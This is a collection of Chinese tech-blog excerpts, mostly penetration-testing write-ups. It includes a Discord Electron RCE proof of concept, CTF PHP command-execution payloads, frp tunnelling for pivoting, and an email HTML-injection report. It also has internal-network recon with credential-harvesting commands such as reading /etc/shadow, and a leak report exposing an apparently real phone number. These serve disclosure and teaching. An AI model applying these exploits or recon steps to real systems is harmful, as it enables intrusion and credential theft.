-
微信双开简单方法
废话不多说 直接进入正题 鼠标双击打开微信的同时,疯狂按 回车 亲测成功...
-
Telegram中文设置教程
电报(telegram)是通信业务的一种,是最早使用电进行通信的方法。它利用电流(有线)或电磁波(无线)作载体,通过编码和相应的电处理技术实现人类远距离传输与交换信息的通信方式。电报大为加快了消息的流通,是工业社会的其中一项重要发明。早期的电报只能在陆地上通讯,后来使用了海底电缆,开展了越洋服务。到了20世纪初,开始使用无线电拍发电报,电报业务基本上已能抵达地球上大部份地区。电报主要是用作传递文字讯息,使用电报技术用作传送图片称为传真。 使用教程: 安装最新版TG,设置里的语言是没中文的,还需要自行设置。去点一下下面的官方链接,自动设置语言,设置里的语言选项也会有中文选项。具体操作:复制官方相应地址,到TG里的一个聊天窗口,然后点一下链接就自动设置好了。 官方设置链接: 英文:tg://setlanguage?lang=en 简体中文:tg://setlanguage?lang=zh-hans-raw 繁体中文:tg://setlanguage?lang=zh-hant-raw...
-
代刷网分站开通|乏解析与绑定
主机记录选择或填写 * 记录值就是填主机控制面板写的地址 记录类型:CNAME 线路类型和TTL默认就行 (如下图所示) 绑定域名格式 *.域名 (注意*后面有个 “.”) 这样就乏解析就完成绑定和解析了,代刷网也就支持开通分站了哦! ...
-
如何提高 Python 的运行速度?
Python 目前得到了众多程序员的喜爱,但是还是遭到一些人的诟病,原由之一就是认为它运行缓慢。 其实某个特定程序(无论使用何种编程语言)的运行速度是快还是慢,在很大程度上取决于编写该程序的开发人员自身素质,以及他们编写优化而高效代码的能力。 Medium 上一位小哥就详细讲了讲如何让 Python 提速 30%,以此证明代码跑得慢不是 Python的问题,而是代码本身的问题。 01时序分析 在开始进行任何优化之前,我们首先需要找出代码的哪些部分使整个程序变慢。有时程序的问题很明显,但是如果你一时不知道问题出在哪里,那么这里有一些可能的选项: 注意:这是我将用于演示的程序,它将进行指数计算 # slow_program.py from decimal import * def exp(x): getcontext().prec += 2 i, lasts, s, fact, num = 0, 0, 1, 1, 1 while s != lasts: lasts = s i += 1 fact *= i num *= x s += num / fact getcontext().prec -= 2 return +s exp(Decimal(150)) exp(Decimal(400)) exp(Decimal(3000)) 最简约的“配置文件” 首先,最简单最偷懒的方法——Unix时间命令。 ~ $ time python3.8 slow_program.py real 0m11,058s user 0m11,050s sys 0m0,008s 如果你只能知道整个程序的运行时间,这样就够了,但通常这还远远不够。 最详细的分析 另外一个指令是cProfile,但是它提供的信息过于详细了。 ~ $ python3.8 -m cProfile -s time slow_program.py 1297 function calls (1272 primitive calls) in 11.081 seconds Ordered by: internal time ncalls tottime percall cumtime percall filename:lineno(function) 3 11.079 3.693 11.079 3.693 slow_program.py:4(exp) 1 0.000 0.000 0.002 0.002 {built-in method _imp.create_dynamic} 4/1 0.000 0.000 11.081 11.081 {built-in method builtins.exec} 6 0.000 0.000 0.000 0.000 {built-in method __new__ of type object at 0x9d12c0} 6 0.000 0.000 0.000 0.000 abc.py:132(__new__) 23 0.000 0.000 0.000 0.000 _weakrefset.py:36(__init__) 245 0.000 0.000 0.000 0.000 {built-in method builtins.getattr} 2 0.000 0.000 0.000 0.000 {built-in method marshal.loads} 10 0.000 0.000 0.000 0.000 <frozen importlib._bootstrap_external>:1233(find_spec) 8/4 0.000 0.000 0.000 0.000 abc.py:196(__subclasscheck__) 15 0.000 0.000 0.000 0.000 {built-in method posix.stat} 6 0.000 0.000 0.000 0.000 {built-in method builtins.__build_class__} 1 0.000 0.000 0.000 0.000 __init__.py:357(namedtuple) 48 0.000 0.000 0.000 0.000 <frozen importlib._bootstrap_external>:57(_path_join) 48 0.000 0.000 0.000 0.000 <frozen importlib._bootstrap_external>:59(<listcomp>) 1 0.000 0.000 11.081 11.081 slow_program.py:1(<module>) 在这里,我们使用cProfile模块和time参数运行测试脚本,以便按内部时间(cumtime)对行进行排序。这给了我们很多信息,你在上面看到的行大约是实际输出的10%。由此可见,exp函数是罪魁祸首,现在我们可以更详细地了解时序和性能分析。 时序特定功能 现在我们知道了应当主要关注哪里,我们可能想对运行速度缓慢的函数计时,而不用测量其余的代码。为此,我们可以使用一个简单的装饰器: def timeit_wrapper(func): @wraps(func) def wrapper(*args, **kwargs): start = time.perf_counter() # Alternatively, you can use time.process_time() func_return_val = func(*args, **kwargs) end = time.perf_counter() print('{0:<10}.{1:<8} : {2:<8}'.format(func.__module__, func.__name__, end - start)) return func_return_val return wrapper 然后可以将此装饰器应用于待测功能,如下所示: @timeit_wrapper def exp(x): ... print('{0:<10} {1:<8} {2:^8}'.format('module', 'function', 'time')) exp(Decimal(150)) exp(Decimal(400)) exp(Decimal(3000)) 这给出我们如下输出: ~ $ python3.8 slow_program.py module function time __main__ .exp : 0.003267502994276583 __main__ .exp : 0.038535295985639095 __main__ .exp : 11.728486061969306 需要考虑的一件事是我们实际想要测量的时间。时间包提供time.perf_counter和time.process_time两个函数。他们的区别在于perf_counter返回的绝对值,包括你的Python程序进程未运行时的时间,因此它可能会受到计算机负载的影响。另一方面,process_time仅返回用户时间(不包括系统时间),这仅是你的过程时间。 02加速吧! 让Python程序运行得更快,这部分会很有趣!我不会展示可以解决你的性能问题的技巧和代码,更多地是关于构想和策略的,这些构想和策略在使用时可能会对性能产生巨大影响,在某些情况下,可以将速度提高30%。 使用内置数据类型 这一点很明显。内置数据类型非常快,尤其是与我们的自定义类型(例如树或链接列表)相比。这主要是因为内置程序是用C实现的,因此在使用Python进行编码时我们的速度实在无法与之匹敌。 使用lru_cache缓存/记忆 我已经在上一篇博客中展示了此内容,但我认为值得用简单的示例来重复它: import functools import time # caching up to 12 different results @functools.lru_cache(maxsize=12) def slow_func(x): time.sleep(2) # Simulate long computation return x slow_func(1) # ... waiting for 2 sec before getting result slow_func(1) # already cached - result returned instantaneously! slow_func(3) # ... waiting for 2 sec before getting result 上面的函数使用time.sleep模拟大量计算。第一次使用参数1调用时,它将等待2秒钟,然后才返回结果。再次调用时,结果已经被缓存,因此它将跳过函数的主体并立即返回结果。有关更多实际示例,请参见以前的博客文章。 使用局部变量 这与在每个作用域中查找变量的速度有关,因为它不只是使用局部变量还是全局变量。实际上,即使在函数的局部变量(最快),类级属性(例如self.name——较慢)和全局(例如,导入的函数)如time.time(最慢)之间,查找速度实际上也有所不同。 你可以通过使用看似不必要的分配来提高性能,如下所示: # Example #1 class FastClass: def do_stuff(self): temp = self.value # this speeds up lookup in loop for i in range(10000): ... # Do something with `temp` here # Example #2 import random def fast_function(): r = random.random for i in range(10000): print(r()) # calling `r()` here, is faster than global random.random() 使用函数 这似乎违反直觉,因为调用函数会将更多的东西放到堆栈上,并从函数返回中产生开销,但这与上一点有关。如果仅将整个代码放在一个文件中而不将其放入函数中,则由于全局变量,它的运行速度会慢得多。因此,你可以通过将整个代码包装在main函数中并调用一次来加速代码,如下所示: def main(): ... # All your previously global code main() 不访问属性 可能会使你的程序变慢的另一件事是点运算符(.),它在获得对象属性时被使用。此运算符使用__getattribute__触发字典查找,这会在代码中产生额外的开销。那么,我们如何才能真正避免(限制)使用它呢? # Slow: import re def slow_func(): for i in range(10000): re.findall(regex, line) # Slow! # Fast: from re import findall def fast_func(): for i in range(10000): findall(regex, line) # Faster! 当心字符串 使用模数(%s)或.format()进行循环运行时,字符串操作可能会变得非常慢。我们有什么更好的选择?根据雷蒙德·海廷格(Raymond Hettinger)最近的推特,我们唯一应该使用的是f-string,它是最易读,最简洁且最快的方法。根据该推特,这是你可以使用的方法列表——最快到最慢: f'{s} {t}' # Fast! s + ' ' + t ' '.join((s, t)) '%s %s' % (s, t) '{} {}'.format(s, t) Template('$s $t').substitute(s=s, t=t) # Slow! 生成器本质上并没有更快,因为它们被允许进行延迟计算,从而节省了内存而不是时间。但是,保存的内存可能会导致你的程序实际运行得更快。这是怎么做到的?如果你有一个很大的数据集,而没有使用生成器(迭代器),那么数据可能会溢出CPU L1缓存,这将大大减慢内存中值的查找速度。 在性能方面,非常重要的一点是CPU可以将正在处理的所有数据尽可能地保存在缓存中。你可以观看Raymond Hettingers的视频,他在其中提到了这些问题。 03结论 优化的首要规则是不要优化。但是,如果确实需要,那么我希望上面这些技巧可以帮助你。但是,在优化代码时要小心,因为它可能最终使你的代码难以阅读,因此难以维护,这可能超过优化的好处。 ...
-
内网穿透工具frp
渗透中面对的大部分目标除了暴露在互联网的部分,还有隐藏在内网的大量资产,这部分资产往往无法联通外网,很少暴露在攻击者面前,与此同时安全一般也没有外部资产做的全面 。如果我们从某一外部互联网入口成功进入了内网,就可以利用frp工具搭建起一个隧道,对这些资产进行测试。 项目地址 https://github.com/fatedier/frp 通过release页面下载对应系统的压缩包解压即可 基本使用介绍 服务端配置 1 2 3 4 # frps.ini [common] bind_port = 7000 token = www.baidu.com 使用如下命令开启服务器 1 frps -c frps.ini 客户端配置(socks5隧道) 配置客户端时,要注意common中的ip和端口指向服务器,token与服务器中保持一致,每个socks代理,需要单独起plugin_name,并使用不同的remote_port。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [common] server_addr = x.x.x.x server_port = 7000 tls_enable = true token = www.baidu.com pool_count = 5 protocol = tcp #协议类型 health_check_type = tcp health_check_interval_s = 100 [socks-001] type = tcp remote_port = 6666 #代理的端口 plugin = socks5 #使用的协议 plugin_user = admin plugin_passwd = www.baidu.com use_encryption = true #是否加密 use_compression = true 使用如下命令开启客户端 1 2 3 4 普通模式: frpc -c frpc.ini 后台无回显模式: nohup frpc -c frpc.ini & 此时在proxyfire等代理工具中配置: ip为server_ip port为remote_port 用户为plugin_user 密码为plugin_passwd 即可将客户端网络作为代理出口使用 客户端配置(web转发) 1 2 3 4 5 6 7 8 9 # frpc.ini [common] server_addr = x.x.x.x server_port = 7000 token = www.baidu.com [web] type = http local_port = 8080 custom_domains = www.yourdomain.com 客户端配置(ssh转发) 1 2 3 4 5 6 7 8 9 10 # frpc.ini [common] server_addr = x.x.x.x server_port = 7000 token = www.baidu.com [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 ...
-
攻击溯源的排查范围
前言 在系统被入侵后,需要迅速梳理出黑客的攻击路径,本文总结windows系统攻击溯源过程中必要的排查范围。 排查项目 用户 查看当前登录用户 1 query user 查看系统中所有用户 1 2 3 1. net user 2. 开始-运行-lusrmgr.msc 3.查看C:\Users目录排查是否新建用户目录,如果存在则排查对应用户的download和desktop目录是否有可疑文件 查看是否存在隐藏账号,克隆账号 1 2 开始-运行-regedit 查看HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中是否有异常 启动项 注册表查看启动项 1 2 3 \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 命令行查看启动项 1 wmic startup list full 组策略中查看启动 1 运行-gpedit.msc Recent目录 此目录可以看到程序或文件最后被打开和使用的日期时间。 1 C:\Users\Administrator\Recent windows日志 安全日志 计算机-管理-事件查看器-windows日志-安全(或eventvwr.msc) 根据时间排查安全日志里的登录事件,用户创建等事件情况 着重寻找登录事件(ID4624)且登录类型为3和10等远程登录方式 windows安全日志文件:C:\Windows\System32\winevt\Logs\Security.evtx 查看其大小是否为20M左右,若远远小于20M则有可能被清理过 系统日志 计算机-管理-事件查看器-windows日志-系统 查看恶意进程的运行状态时间等 排查可疑进程 查看可疑网络连接 1 netstat -b -n 根据网络连接寻找pid 1 netstat -ano | findstr xxx 根据pid寻找进程 1 tasklist | findstr xxx 杀死可疑进程 1 taskkill /T /F /PID xxxx 排查计划任务 1 2 3 schtasks /query /fo table /v 运行-taskschd.msc 排查系统服务 1 运行-service.msc 工具使用 PECmd 使用PECmd导出最近活动项目 LastActivityView 使用LastActivityView图形化工具查看最近活动项目 ...
-
某公共平台个人信息查看处存在全局越权修改
01 漏洞标题 某公共平台个人信息查看处存在全局越权修改 02 漏洞类型 越权漏洞 03 漏洞等级 高危 04 漏洞地址 http://xxx.xxx.xx.com/er.app.xxxx/apps.html 05 漏洞详情 0x01 注册家政账户后,登录: http://xxx.xxx.xx.com/er.app.xxxx/apps.html 这个是账户A:ceshi www的个人信息 id=275 这个是账户B:ceshi123 天天的个人信息 id=274 然后在账户A下越权修改B账户的个人信息: 0x02 然后burp下抓包,替换uld参数,将其改成B账户的274 然后到B账户下查看个人信息: 发现B账户中的个人信息被成功越权修改了 这里uld参数是可以遍历的,所以可以直接越权修改所有已注册用户的个人敏感信息: 06 漏洞危害 通过遍历id参数全局越权修改所有已注册用户的个人信息,这样就可以定向的进行诈骗或者是其他的信息贩卖等。 07 建议措施 做好权限的控制,建议添加token。 PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负...
-
Discord桌面应用程序RCE
01 背景 几个月前,我在Discord桌面应用程序中发现了一个远程执行代码的问题,并通过其Bug Bounty Program报告了该问题。我发现RCE很有趣,因为它是通过组合多个错误实现的。在本文中,我想分享细节。为什么我选择Discord作为目标我感觉好像是在寻找Electron应用程序的漏洞,因此我一直在寻找一个赏金计划,该计划为Electron应用程序支付了赏金,我找到了Discord。另外,我是Discord用户,只想检查我使用的应用程序是否安全,因此我决定进行调查。 02 我发现的bug 基本上,我发现了以下三个bug,并通过结合使用它们实现了RCE。 缺少上下文隔离 iframe嵌入中的XSS Navigation restriction bypass(CVE-2020-15174) 我将一一解释这些错误。 缺少上下文隔离 在测试Electron应用程序时,首先,我始终会检查BrowserWindow API的选项,该选项用于创建浏览器窗口。通过检查它,我考虑了如何在渲染器上执行任意JavaScript时如何实现RCE。 Discord的Electron应用程序不是一个开源项目,但是Electron的JavaScript代码以asar格式保存在本地,我能够通过提取它来读取它。 在主窗口中,使用以下选项: const mainWindowOptions = { title :D"iscord”, backgroundColor:getBackgroundColor(), width:DEFAULT_WIDTH, height:DEFAULT_HEIGHT, minWidth:MIN_WIDTH, minHeight:MIN_HEIGHT,transparent:false frame:false, resizable:true, show:isVisible, webPreferences: { blinkFeatures:'EnumerateDevices,AudioOutputDevices', nodeIntegration:false, preload:_path2.default.join(__ dirname,'mainScreenPreload.js'), nativeWindowOpen:true, enableRemoteModule:false, spellcheck:true }}; 我们这里应该检查的重要选项尤其是nodeIntegration和contextIsolation。从上面的代码中,我发现在Discord的主窗口中,nodeIntegration选项设置为false,而contextIsolation选项设置为false(使用版本的默认值)。 如果将nodeIntegration设置为true,则网页的JavaScript只需调用即可轻松使用Node.js功能require()。例如,在Windows上执行calc应用程序的方式是: <script> require('child_process')。exec('calc');</ script> 这一次,将nodeIntegration设置为false,因此我无法通过require()直接调用直接使用Node.js功能。 但是,仍然可以访问Node.js功能。该contextIsolation,另一个重要的选项,设置为false。如果要消除在应用程序上进行RCE的可能性,则不应将此选项设置为false。 如果禁用contextIsolation,则网页的JavaScript可能会影响在渲染器上执行Electron内部JavaScript代码和预加载脚本(在下文中,这些JavaScript将被称为网页外部的JavaScript代码)。例如,如果您Array.prototype.join使用网页JavaScript中的另一个函数重写 了JavaScript的一种内置方法,则网页外部的JavaScript代码在调用时也将使用重写的函数join。 此行为很危险,因为Electron允许web页面外部的JavaScript代码使用node.js功能,而不管nodeIntegration选项如何,并且通过干扰web页面中重写的功能来干扰它们,即使nodeIntegration为设置为false。 顺便说一句,以前还不知道这样的把戏。它最早是由Cure53在一次渗透测试中发现的,我也于2016年加入了该测试。之后,我们将其报告给Electron团队,并引入了contextIsolation。 最近,该笔测试报告已发布。如果您有兴趣,可以从以下链接中阅读: Pentest报告 https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view 您还可以阅读我在CureCon活动中使用的幻灯片: 该contextIsolation介绍了网页和JavaScript代码之外的网页,使每个代码的JavaScript执行不影响各间分隔的上下文。这是消除RCE可能性的必要功能,但是这次在Discord中将其禁用。 现在,我发现contextIsolation已禁用,因此我开始寻找一个可以干扰网页外部JavaScript代码来执行任意代码的地方。 通常,当我在Electron的渗透测试中为RCE创建PoC时,我首先尝试通过在渲染器上使用Electron的内部JavaScript代码来实现RCE。这是因为可以在任何Electron应用程序中执行渲染器上Electron的内部JavaScript代码,因此基本上我可以重用相同的代码来实现RCE,这很容易。 在我的幻灯片中,我介绍了可以通过使用Electron在导航时间执行的代码来实现RCE。不仅可以从该代码中获得代码,而且在某些地方也有这样的代码。(我希望将来发布PoC的示例。) 但是,根据使用的Electron的版本或设置的BrowserWindow选项,由于代码已更改或无法正确访问受影响的代码,有时通过Electron的代码进行PoC不能很好地工作。在这次,它没有用,所以我决定将目标更改为预加载脚本。 在检查预加载脚本时,我发现Discord将函数公开了,该函数允许通过调用某些允许的模块到 DiscordNative.nativeModules.requireModule('MODULE-NAME') 网页中。 在这里,我无法使用可直接用于RCE的模块,例如child_process模块,但是我发现了一个代码,在其中可以通过重写JavaScript内置方法并干扰公开模块的执行来实现RCE。 以下是PoC。我能确认的是,计算的应用程序弹出时,我所说的getGPUDriverVersions被称为“模块中定义的函数 discord_utils从devTools而重写RegExp.prototype.test和Array.prototype.join。 RegExp.prototype.test = function(){ return false;}Array.prototype.join = function(){ return“ calc”;}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); 该getGPUDriverVersions函数尝试使用“ execa ”库执行程序,如下所示: module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; } const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; } return result;}; 通常execa会尝试执行在变量中指定的“ nvidia-smi.exe ”,nvidiaSmiPath但是,由于覆盖了RegExp.prototype.test和Array.prototype.join,因此在execa的内部处理中将参数替换为“ calc ” 。 具体来说,通过更改以下两个部分来替换该参数。 https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55 剩下的工作是找到一种在应用程序上执行JavaScript的方法。如果我可以找到它,则会导致RCE。 2.iframe嵌入中的XSS 如上所述,我发现RCE可能来自任意JavaScript执行,因此我试图找到一个XSS漏洞。该应用程序支持自动链接或Markdown功能,但看起来不错。因此,我将注意力转向了iframe嵌入功能。例如,iframe嵌入功能是在发布YouTube URL时自动在聊天中显示视频播放器的功能。 当网址贴出来,不和谐尝试获取OGP该URL的信息,如果存在OGP信息,它会显示网页标题,描述,在聊天的缩略图,相关的视频等。 Discord从OGP中提取视频URL,只有在允许视频URL域并且该URL实际上具有嵌入页面的URL格式的情况下,该URL才会嵌入到iframe中。 我找不到有关哪些服务可以嵌入到iframe中的文档,因此我试图通过检查CSP的frame-src指令来获取提示。当时,使用了以下CSP: Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.comhttps://*.watchanimeattheoffice.com 显然,其中列出了一些允许iframe嵌入的内容(例如YouTube,Twitch,Spotify)。我试图通过将域一一指定到OGP信息中来检查URL是否可以嵌入iframe中,并尝试在嵌入式域中找到XSS。经过一番尝试,我发现可以将 C ++中列出的域之一sketchfab.com嵌入到iframe中,并在嵌入页面上找到XSS。当时我还不了解Sketchfab,但似乎这是一个用户可以在其中发布,购买和出售3D模型的平台。3D模型的脚注中有一个基于DOM的简单XSS。 以下是具有精心制作的OGP的PoC。当我将此URL发布到聊天中时,Sketchfab被嵌入到聊天中的iframe中,然后在iframe上单击几下后,将执行任意JavaScript。 https://l0.cm/discord_rce_og.html<head> <meta charset="utf-8"> <meta property="og:title" content="RCE DEMO"> [...] <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> <meta property="og:video:type" content="text/html"> <meta property="og:video:width" content="1280"> <meta property="og:video:height" content="720"></head> 好的,最后我找到了XSS,但是JavaScript仍在iframe上执行。由于Electron不会将“网页外的JavaScript代码”加载到iframe中,因此即使我覆盖iframe上的JavaScript内置方法,也不会干扰Node.js的关键部分。要实现RCE,我们需要退出iframe,并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口,或将顶部窗口导航到iframe的另一个URL。 我检查了相关代码,并在主要流程的代码中找到了通过使用“ new-window ”和“ will-navigate ”事件来限制导航的代码: mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { e.preventDefault(); if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); } else { _electron.shell.openExternal(windowURL); }});[...]mainWindow.webContents.on('will-navigate', (evt, url) => { if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { evt.preventDefault(); }}); 我认为这段代码可以正确地阻止用户打开新窗口或浏览顶部窗口。但是,我注意到了意外的行为。 3.Navigation restriction bypass(CVE-2020-15174) 我以为代码还可以,但是我尝试检查iframe的顶部导航是否被阻止。然后,令人惊讶的是,由于某种原因,导航没有被阻塞。我希望在导航发生之前,“ will-navigate ”事件会捕获该尝试preventDefault(),但会拒绝该尝试,但事实并非如此。 为了测试这种行为,我创建了一个小型的Electron应用程序。而且我发现由于某种原因,从iframe开始的顶部导航未发出“ will-navigate ”事件。确切地说,如果顶部的起点和iframe的起点在同一起点,则发出该事件,但如果起点在不同的起点,则不发出该事件。我认为这种行为没有正当的理由,因此我认为这是Electron的错误,因此决定稍后再向Electron团队报告。 借助此错误,我可以绕过导航限制。我应该做的最后一件事就是使用iframe的XSS导航到包含RCE代码的页面,例如 top.location="//l0.cm/discord_calc.html"。 这样,通过结合三个错误,我能够实现RCE, 03 结果 通过Discord的Bug赏金计划报告了这些问题。首先,Discord小组停用了Sketchfab嵌入,并采取了一种变通方法,通过将沙箱属性添加到iframe来阻止从iframe导航。一段时间后,启用了 contextIsolation。现在,即使我可以在应用程序上执行任意JavaScript,RCE也不会通过覆盖的JavaScript内置方法发生。我因这次发现而获得了5,000美元的奖励。 Sketchfab上的XSS是通过Sketchfab的Bug赏金计划报告的,并由Sketchfab开发人员迅速修复。我因这次发现而获得了300美元的奖励。 向电子安全团队报告了“ will-navigate ”事件中的错误是Electron的错误,并已修复为以下漏洞(CVE-2020-15174)。 ...
-
CTF|无参数RCE
在CTF竞赛过程中,我们时常会遇到一种类型的题,那就是无参数命令执行。接下来通过例题的形式针对无参数命令执行常见技巧和利用方式进行了总结。 01 示例一 <?php include"flag.php"; echo"flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { @.eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } }// highlight_file(__FILE__);?> 02 源码分析 利用GET方式传入exp参数; 代码中过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件; (?R)引用当前表达式,后面加了?递归调用。只允许执行类似a(b(c()))格式的无参数函数; 正则匹配还过滤了et/na/info等关键字,导致get()、phpinfo()等函数不能使用; eval($_GET[‘exp’]); 将输入的参数以php代码执行; 03 解题过程 查看当前目录下的文件,此处利用scandir()实现:print_r(scandir('.')); #表示获取当前目录下的文件; print_r(scandir('../')); #表示获取上一级目录下的文件; 于是,可以利用该函数,查看目标系统目录,寻找包含flag的文件位置。由于正则表达式限制,不能再scandir('.')函数中加入参数。故此处使用current(localeconv())表示“.”。其中localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."。current() 返回数组中的当前单元, 默认取第一个值。 http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(pos(localeconv()))); http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(current(localeconv()))); 接下来就要考虑如何读取flag,读取文件内容我们可以想到的函数有: file_get_contents() #把整个文件读入一个字符串中;file #把整个文件读入一个数组中;readfile() #读入一个文件并写入到输出缓冲;highlight_file() #对文件进行语法高亮显示;show_source() #对文件进行语法高亮显示; 刚刚列举的几个函数,都需要将要读取的文件作为参数进行读取操作,由于题中代码用正则表达式限制,不能接收参数,该如何将文件名写道函数里面,然后读取文件内容呢? 利用array_flip()函数将读取当前目录的键和值进行反转,然后读取其中的值即可获得flag.php; 其中的键可以利用随机数函数array_rand(),进行随机生成; http://127.0.0.1/ctf/web/web-5/index.php?exp=pprint_r(array_rand(array_flip(scandir(pos(localeconv()))))); 由上图可以看出,通过array_rand()能够随机出flag.php文件,然后利用readfile()函数,读取该文件: http://127.0.0.1/ctf/web/web-5/index.php?exp=readfile(array_rand(array_flip(scandir(pos(localeconv()))))); ...
-
利用电子邮件中的HTML注入
HTMLi是一个在呈现HTML代码的任何应用程序中可利用的漏洞。电子邮件是其中之一。 本文的其余部分说明了如何通过目标上的注释通知功能将HTML注入电子邮件中。 Part 01 记得这里未讨论的HTML注入吗? 因此,在通知电子邮件中反映了comment和presentationTitle参数的值。 最初看起来如下: {"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"This is Redacted","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted Copy www.footstep.ninja","slideLocalId":"5p3nrib"}} 然后,在为参数注入presentationTitleHTML属性后,它看起来如下所示: {"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"Comments are great!","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted\" <br/><br/> <div style='color:#1a3a69;line-height:1.5em;font-size:18px;text-align:center'>This is a test comment</div><br/> <a style='background-color:#f68270;border:1px solid #333333;border-color:#f68270;border-radius:6px;border-width:1px;color:#ffffff;display:inline-block;font-family:arial,helvetica,sans-serif;font-size:16px;font-weight:bold;letter-spacing:0px;line-height:16px;padding:12px 18px 12px 18px;text-align:center;text-decoration:none' href='https://footstep.ninja' target='_blank' data-saferedirecturl='https://footstep.ninja'>View Deck</a> <!-- Copy https://www.footstep.ninja","slideLocalId":"5p3nrib"}} Part 02 自然通知如下所示: Part 03 看起来像这样; 通过查看原始消息,我得到了确切的HTML:单击省略号,然后单击“显示原始” ...
-
某信息平台敏感信息泄露
01 漏洞标题 某信息平台敏感信息泄露 02 漏洞类型 信息泄露 03 漏洞等级 高危 04 漏洞地址 http://www.xxxxx.org.cn/ 05 漏洞详情 信息平台敏感信息泄露,可以直接获取所有高级专家的所有手机号。 专家库具体某一专家信息查看,可以在URL处直接看到手机号。 0x01 访问 http://www.xxxx.org.cn/ExpertView.aspx?id=3&username=13926041501 0x02 批量可以看到每条信息都携带了用户的详细手机号信息。 http://www.xxxx.org.cn/ExpertsList.aspx 涉及到的专家信息共有700多条信息,包含完整的姓名和手机号。 06 漏洞危害 此处可以批量获取到的专家信息共有700多条信息,包含完整的姓名和手机号工作地点,被攻击者获取后可以定点钓鱼等,存在极大的安全风险。 07 建议措施 敏感信息做脱敏处理,不反回手机号等敏感信息。 PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。 ...
-
如何进行内网信息收集
渗透测试的本质是信息收集,我们可以将内网信息收集大致分为5个步骤,即本机信息收集、域内信息收集、登录凭证窃取、存活主机探测、内网端口扫描。 最常见的两个问题就是: 我是谁?-- whoami我在哪?-- ipconfig/ifconfig 当获取一台主机的管理员权限的时候,我们总是迫不及待想要去深入了解一下。 本机信息收集 1.查询账户信息: 对当前主机的用户角色和用户权限做了解,判断是否需要进一步提升权限。 win:whoami、net user 用户名linux:whoami、id、cat /etc/shadow、cat /etc/passwd 2.查询网络和端口信息 根据目的主机的IP地址/网络连接/相关网络地址,确认所连接的网络情况。 win:ipconfig、netstat -ano ARP表:arp -a 路由表: route print 查看dns缓存记录命令:ipconfig/displaydns linux:ifconfig、netstat -anplt ARP表:arp -a / 路由表:route -n 查看登录日志获取登录来源ip 3.查询进程列表 查看本地运行的所有进程,确认本地软件运行情况,重点可以关注安全软件。 win:tasklist linux: ps、 top 4.查询系统和补丁信息 获取当前主机的系统版本和补丁更新情况,可用来辅助提升权限。 win:systeminfo,查询系统信息/补丁安装情况。 wmic qfe get Caption,description,HotfixID,installedOn //查询补丁信息,包含说明链接/补丁描述/KB编号/更新时间等信息 wmic qfe list full 查询全部信息 Linux: 通过查看内核版本 uname -a 或者使用rpm -qa来查询安装了哪些软件包 5.凭证收集 服务器端存有敏感信息,通过收集各种登录凭证以便扩大战果。 Windows:本地密码Hash和明文密码/抓取浏览器密码/服务端明文密码linux:history记录敏感操作/shadow文件破解/mimipenguin抓取密码/使用Strace收集登录凭证/全盘搜索敏感信息 域内信息收集 搜集完本机相关信息后,就需要判断当前主机是否在域内,如果在域内,就需要进一步收集域内信息 1.判断是否有域 一般域服务器都会同时作为时间服务器,所以使用下面命令判断主域 运行 net time /domain 该命令后,一般会有如下三种情况: 1.存在域,但当前用户不是域用户,提示说明权限不够 C:\Users>bypass>net time /domain 发生系统错误 5 拒绝访问。 2.存在域,并且当前用户是域用户 C:\Users\Administrator>net time /domain \\dc.test.com 的当前时间是 2020/10/23 21:18:37 命令成功完成。 3.当前网络环境为工作组,不存在域 C:\Users\Administrator>net time /domain 找不到域 WORKGROUP 的域控制器。 2.查找域管理员 net user /domain //获取域用户列表net group /domain //查询域内所有用户组列表net group “Domain Admins” /domain //查询域管理员用户net group "Domain Controllers" /domain //查看域控制器net localgroup administrators /domain 